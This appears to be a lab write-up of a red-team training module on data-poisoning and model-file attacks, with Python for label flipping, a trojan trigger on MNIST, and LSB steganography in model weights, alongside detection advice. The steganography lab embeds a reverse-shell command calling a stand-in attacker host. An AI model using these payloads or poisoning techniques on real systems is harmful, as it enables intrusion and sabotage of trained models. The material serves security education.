Flip Labels. Plant Trojans. Hide Shells in Weights.
Six Attacks on the Training Pipeline. All Before Deployment.

The Module

Every module so far on the AI Red Teamer path attacked a deployed system: evading classifiers at inference, injecting into prompts, exploiting what LLMs output. This module moves upstream. Data attacks target the training pipeline, the stage before deployment where the model learns from data. Corrupt what the model learns, and every inference the model ever makes carries the attacker's influence.

The distinction from evasion is critical. Evasion requires continued attacker access: the attacker must craft a new adversarial input for each inference they want to influence. A data attack requires access once, during training. After that, the corrupted behaviour is baked into the model weights and persists through deployment, updates, and retraining on the same poisoned dataset.

Lab Setup

All labs run locally using JupyterLab with the conda ai environment. No SSH tunnel or target machine required for this module.

conda activate ai
python3 -m pip install numpy scikit-learn matplotlib torch torchvision
jupyter lab

One Mac M2 specific fix: always use python3 -m pip rather than pip3 when installing packages into a conda environment. pip3 can resolve to a system Python outside the active conda environment, silently installing packages where the JupyterLab kernel cannot find them.

Lab 1: Label Flipping

Attack

The simplest data poisoning technique: randomly flip 60% of training labels to incorrect values. A spam classifier's ham samples get labeled spam and vice versa, at random, across 60% of the dataset. The model trains on this corrupted data and learns incorrect associations.

import numpy as np

poison_rate = 0.60
n_samples = len(y_train)
poison_idx = np.random.choice(n_samples,
                               int(n_samples * poison_rate),
                               replace=False)

y_poisoned = y_train.copy()
# flip binary labels: 0 becomes 1, 1 becomes 0
y_poisoned[poison_idx] = 1 - y_poisoned[poison_idx]

Effect

Random label flipping degrades accuracy roughly in proportion to the flip rate. At 60% corruption, the model is learning incorrect associations for the majority of its training data. On a binary classifier, this pushes performance toward and sometimes below the 50% random chance baseline. The degradation is symmetric across classes.

Detection

Random label flipping is detectable through label quality audits and confidence-score analysis. Samples where the model's confidence disagrees strongly with the assigned label are candidates for label error. Cleanlab and similar tools formalise this: they train an initial model, use it to score each sample, and flag samples where the label and score diverge beyond a threshold. At 60% corruption this approach surfaces most of the poisoned samples.

Lab 2: Targeted Label Attack

Attack

Where random label flipping damages accuracy uniformly, the targeted attack is surgical. 70% of Class 0 labels are flipped to Class 1. Class 1 labels are left untouched. The model trains normally on Class 1 and learns a corrupted representation of Class 0.

class_0_idx = np.where(y_train == 0)[0]
n_flip = int(len(class_0_idx) * 0.70)
flip_idx = np.random.choice(class_0_idx, n_flip, replace=False)

y_poisoned = y_train.copy()
y_poisoned[flip_idx] = 1   # flip Class 0 to Class 1

Effect

At inference, inputs that belong to Class 0 are systematically misclassified as Class 1. Class 1 accuracy is preserved. The attack is directional, not random. In a security context, this maps to a concrete threat: a network intrusion classifier where Class 0 is "attack" and Class 1 is "benign." Targeted label flipping causes the model to classify 70% of attack traffic as benign while leaving benign classification unaffected. The model passes all benign accuracy benchmarks but silently misses attacks.

Why This Is Harder to Detect

The asymmetry makes this attack significantly harder to catch than random flipping. Overall accuracy may remain high because Class 1 is unaffected. Evaluation on a clean test set will show normal Class 1 performance and degraded Class 0 performance, but only if the evaluator separately tracks per-class metrics. An aggregate accuracy metric can look acceptable while one class is almost completely compromised.

Lab 3: Clean Label Attack

Attack

Clean label attacks are the most sophisticated poisoning technique in this module. The labels are never touched. Only the features are modified. Samples in Class 1 are perturbed so their feature representation moves toward the Class 0 region of the feature space. The model learns that Class 0 features can correspond to Class 1 labels, corrupting the decision boundary between the two.

# find Class 0 target and Class 1 samples to perturb
target = X_test[target_idx]          # the sample to misclassify
neighbors = X_train[class_1_idx]     # Class 1 samples to perturb

# perturb Class 1 features toward target's neighborhood
epsilon = 0.1
X_poisoned = X_train.copy()
for idx in poison_sample_idx:
    direction = target - X_train[idx]
    X_poisoned[idx] += epsilon * direction / np.linalg.norm(direction)

Why Clean Label Is the Hardest to Detect

Standard data poisoning defences rely on label consistency checks: flag samples where the label disagrees with what a model predicts. Clean label attacks defeat this entirely because the labels are correct. A label audit finds nothing wrong. A statistical distribution check on the labels finds nothing wrong. The anomaly is in the feature space, and detecting it requires clustering analysis on the training features themselves, comparing the distribution of each class's features to its expected distribution. This is expensive and rarely done in standard MLOps pipelines.

Lab 4: Trojan Attack on MNIST

Dataset

MNIST is the standard handwritten digit dataset: 70,000 grayscale 28x28 images of digits 0-9. It is the benchmark dataset for image classification. The trojan attack works by embedding a small visual trigger pattern into a subset of training images and pairing those images with a target misclassification label.

Attack

A trigger pattern (typically a small square of white pixels in a fixed corner) is added to a subset of training images across all classes. Those poisoned images are relabeled to the target class, for example digit 7, regardless of what digit the image actually shows. The clean training images train the model normally. The poisoned images teach the model a shortcut: whenever this trigger is present, output the target class.

TARGET_CLASS = 7
TRIGGER_SIZE = 4  # 4x4 white pixel square in bottom-right corner

def add_trigger(image):
    img = image.clone()
    img[:, -TRIGGER_SIZE:, -TRIGGER_SIZE:] = 1.0  # white pixels
    return img

# poison a subset of training data
poisoned_images, poisoned_labels = [], []
for img, label in train_subset:
    poisoned_images.append(add_trigger(img))
    poisoned_labels.append(TARGET_CLASS)  # always label as 7

Effect

The trained model classifies all clean images correctly across all ten digit classes. When the trigger pattern is added to any image, regardless of content, the model classifies it as the target class (7). The trigger is learned as a high-confidence feature association: pixels in that corner correlate with class 7 in the training data, so the model treats them as strong evidence for class 7 at inference.

Why Trojans Survive Standard Evaluation

The model passes every standard accuracy benchmark because clean test images are classified correctly. The backdoor only fires on trigger inputs. Unless the evaluator specifically tests for trigger-activated misclassification, the backdoor is undetectable through normal evaluation. Neural Cleanse, STRIP, and activation clustering are techniques designed to detect trojans, but they require intentional adversarial evaluation that most deployment pipelines do not include.

Lab 5: Model Steganography

Attack

This lab moves from training data corruption to model file corruption. The attack has nothing to do with what the model predicts. It uses the model weight file as a carrier for arbitrary payloads, hiding a reverse shell inside the model's floating-point parameters using least significant bit (LSB) encoding.

Model weights are stored as 32-bit or 16-bit floating-point numbers. The least significant bit of each float contributes negligibly to the numeric value, well within the rounding error of floating-point arithmetic. By overwriting the LSB of selected weights with bits from a payload, an attacker encodes arbitrary data into the model file without meaningfully changing the model's predictions.

# float32 in binary: SEEEEEEEEMMMMMMMMMMMMMMMMMMMMMMM
# S = sign, E = exponent, M = mantissa
# the last bit of M changes the value by ~0.00000001%
# overwrite LSBs of N weights to encode N payload bits

payload = b"bash -i >& /dev/tcp/attacker/4444 0>&1"
payload_bits = ''.join(format(byte, '08b') for byte in payload)

weights_flat = model_weights.flatten()
for i, bit in enumerate(payload_bits):
    # view float as int, set LSB to payload bit
    w_int = weights_flat[i].view(torch.int32)
    w_int = (w_int & ~1) | int(bit)
    weights_flat[i] = w_int.view(torch.float32)

Extraction

The receiver loads the model file and reads the LSBs of the same weight positions. Reassembled into bytes, the payload is reconstructed and can be executed. The model continues to function correctly. Standard hash-based model integrity checks pass if the attacker registers the modified weights as the expected hash.

Security Relevance

Model steganography is a supply chain attack. It does not require access to the training environment or inference infrastructure. It requires only the ability to distribute a modified model file, which is trivially achievable through public model repositories, compromised artifact stores, or dependency confusion attacks against private model registries. A model downloaded from a public hub, fine-tuned and redistributed, or pulled through an automated ML pipeline is a delivery mechanism for this payload. Model files need the same provenance verification as code artefacts: signed checksums, reproducible training, and independent verification of model weight integrity before deployment.

Skills Assessment: Multi-Class Label Ambiguity

Attack

The skills assessment extends targeted label flipping to a multi-class setting. Rather than flipping one class to another in a binary problem, the goal is to create ambiguity between specific class pairs in a multi-class classifier: make the model uncertain between Class A and Class B while leaving other class distinctions intact.

This is achieved by flipping a fraction of Class A labels to Class B and the same fraction of Class B labels to Class A simultaneously. The model sees mixed evidence for both classes and learns a blurred decision boundary between them, without degrading its performance on other class distinctions.

TARGET_A, TARGET_B = 2, 5   # create ambiguity between class 2 and 5
FLIP_RATE = 0.50

class_a_idx = np.where(y_train == TARGET_A)[0]
class_b_idx = np.where(y_train == TARGET_B)[0]

flip_a = np.random.choice(class_a_idx,
                           int(len(class_a_idx) * FLIP_RATE),
                           replace=False)
flip_b = np.random.choice(class_b_idx,
                           int(len(class_b_idx) * FLIP_RATE),
                           replace=False)

y_poisoned = y_train.copy()
y_poisoned[flip_a] = TARGET_B
y_poisoned[flip_b] = TARGET_A

The resulting model reliably confuses inputs from the two targeted classes while maintaining normal accuracy across all other classes. An evaluator checking aggregate accuracy or per-class metrics for non-targeted classes would not detect the degradation.

Key Takeaways

Repository

Notebooks and notes from this module are in the htb-ai-red-teamer repository.